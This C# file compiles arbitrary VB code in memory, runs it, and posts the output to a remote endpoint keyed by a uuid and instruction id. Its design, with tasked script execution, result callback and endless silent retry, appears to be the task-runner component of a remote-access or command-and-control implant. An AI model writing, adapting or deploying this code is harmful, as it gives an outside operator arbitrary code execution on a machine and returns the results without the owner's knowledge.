﻿using System;
using System.Text;
using Microsoft.VisualBasic;
using System.Reflection;
using System.Threading.Tasks;
using System.CodeDom.Compiler;
using System.IO;
using System.Net.Http;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;

public class Script
{
    public static async Task<object> ExecuteVbCodeAsync(string code, object[] parameters)
    {
        var codeProvider = new VBCodeProvider();
        var compilerParams = new CompilerParameters
        {
            GenerateInMemory = true,
            GenerateExecutable = false,
            TreatWarningsAsErrors = false
        };
        compilerParams.ReferencedAssemblies.Add("System.dll");
        compilerParams.ReferencedAssemblies.Add("System.Runtime.dll");
        compilerParams.ReferencedAssemblies.Add("System.Threading.Tasks.dll");
        compilerParams.ReferencedAssemblies.Add("System.Net.Http.dll");
        compilerParams.ReferencedAssemblies.Add("System.Web.Extensions.dll");
        compilerParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
        compilerParams.ReferencedAssemblies.Add("System.Security.dll");
        compilerParams.ReferencedAssemblies.Add("System.Core.dll");
        compilerParams.ReferencedAssemblies.Add("mscorlib.dll");
        compilerParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
        compilerParams.ReferencedAssemblies.Add("System.Management.dll");
        compilerParams.ReferencedAssemblies.Add("System.Runtime.Serialization.Json.dll");
        compilerParams.ReferencedAssemblies.Add("System.Runtime.Serialization.dll");
        compilerParams.ReferencedAssemblies.Add("System.Xml.dll");

        CompilerResults results = codeProvider.CompileAssemblyFromSource(compilerParams, code);
        if (results.Errors.HasErrors)
        {
            var errorBuilder = new StringBuilder();
            foreach (CompilerError error in results.Errors)
            {
                errorBuilder.AppendLine("Error (" + error.ErrorNumber + "): " + error.ErrorText);
            }
            return errorBuilder.ToString();
        }
        else
        {
            Assembly assembly = results.CompiledAssembly;
            Type type = assembly.GetType("Script");
            MethodInfo method = type != null ? type.GetMethod("ExecuteAsync") : null;
            if (method == null)
            {
                return "No 'ExecuteAsync' method found";
            }
            try
            {
                object obj = Activator.CreateInstance(type);
                Task<object> task = (Task<object>)method.Invoke(obj, parameters);
                object result = await task;
                return result ?? "no output.";
            }
            catch (Exception ex)
            {
                return "Error during execution: " + ex.Message;
            }
        }
    }

    public static async Task<object> ExecuteAsync(string script, string endpoint, string uuid, long instructionId, short code)
    {
        var result = await ExecuteVbCodeAsync(script, Array.Empty<object>());
        await NotifyWithRetry(endpoint, uuid, instructionId, code, result.ToString());
        return null;
    }

    [DataContract]
    public class Response
    {
        [DataMember]
        public string output { get; set; }
    }

    private static async Task NotifyWithRetry(string EndPoint, string uuid, long instructionId, short code, string output)
    {
        TimeSpan delay = TimeSpan.FromSeconds(10);
        while (true)
        {
            using (HttpClient httpClient = new HttpClient())
            {
                try
                {
                    DataContractJsonSerializer serializer = new DataContractJsonSerializer(typeof(Response));
                    using (MemoryStream ms = new MemoryStream())
                    {
                        serializer.WriteObject(ms, new Response { output = output });
                        var content = new StringContent(Encoding.UTF8.GetString(ms.ToArray()), Encoding.UTF8, "application/json");
                        var response = await httpClient.PostAsync(EndPoint + "Response/" + uuid + "/" + instructionId + "/" + code, content);
                        response.EnsureSuccessStatusCode();
                        break;
                    }
                }
                catch (Exception)
                {
                    // Log exception if needed
                }
                await Task.Delay(delay);
            }
        }
    }
}